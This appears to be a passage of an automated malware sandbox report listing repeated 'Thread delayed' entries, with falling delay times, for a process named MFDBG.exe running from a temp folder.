Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 594794 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 594539 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 594376 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 594203 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 593552 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 593297 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 593094 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 592931 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 592750 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 592594 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 592438 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 592250 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 592062 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 591907 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 591747 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 591594 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 591329 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 590850 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 590671 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 590468 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 590271 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 590069 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 589829 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 589625 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 589360 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 589172 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 588954 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 588657 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 588114 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 587936 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 587746 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 587567 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 587333 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 587094 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 586886 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 586650 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 586479 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 586250 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 585625 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 585435 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 585196 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 585000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 584826 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 584609 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 584412 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 584219 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 584032 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 583827 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 583610 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 583016 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 582749 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 582532 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 582363 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 582174 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 582012 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 581829 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 581647 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 581395 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 581110 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 580820 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 580245 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 579985 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 579813 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 579593 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 579421 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 579236 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 579023 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 578719 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 578516 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 578219 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 577625 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 577425 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 577231 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 577086 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 576976 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 576704 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 576391 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 576184 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 575938 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 575730 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 575087 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 574860 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 574667 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 574444 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 574250 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 573985 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 573762 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 573578 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 573373 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 573193 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 572516 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 572276 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 572059 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 571907 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 571733 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 571577 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 571391 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 571249 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 571022 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 570837 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 570661 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 570478 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 570157 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 569657 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 569468 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 569297 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 569096 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 568873 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 568684 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 568454 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 568256 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 568094 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 567860 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 567320 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 567147 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 566907 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 566680 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 566467 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 566295 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 566141 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 565938 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 565750 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 565547 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 565419 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 565213 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 564641 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 564426 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 564235 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 564032 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 563829 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 563598 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 563313 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 563110 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 562938 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 562688 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 562313 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 561797 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 561640 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 561442 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 561282 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 561123 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 560909 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 560714 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 560498 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 560329 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 560140 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 559897 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 559716 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 559563 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 559344 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 559172 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 558984 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 558753 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 558593 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 558436 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 558282 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 558091 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 557844 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 557657 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 557469 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 557266 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 557044 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 556875 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 556655 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 556455 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 556286 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 556110 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 555956 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 555749 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 555549 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 555329 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 555094 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 554922 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 554674 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 554442 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 554224 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 553954 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 553625 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 553141 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 552969 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 552782 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 552563 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 552420 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 552261 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 552078 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 551900 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 551702 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 551485 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 551250 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 551032 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 550563 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 550372 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 550141 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 549938 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 549735 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 549547 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 549360 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 549022 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 548813 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 548063 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 547771 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 547500 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 547296 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 547094 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 546875 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 546704 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 546528 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 546313 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 546079 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 545610 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 545293 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 545061 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 544797 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 544391 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 543875 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 543636 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 543407 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 542704 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 542477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 542235 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 541969 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 541735 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 541544 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 541349 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 541154 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 540916 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 540700 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 539974 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 539766 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 539586 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 539406 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 539172 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 538954 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 538728 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 538538 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 538312 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 538117 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 537933 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 537708 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 537516 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 537329 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 537120 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 536958 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 536780 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 536581 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 536421 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 536141 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 535987 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 535766 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 535573 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 535391 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 535242 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 535047 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 534888 Jump to behavior
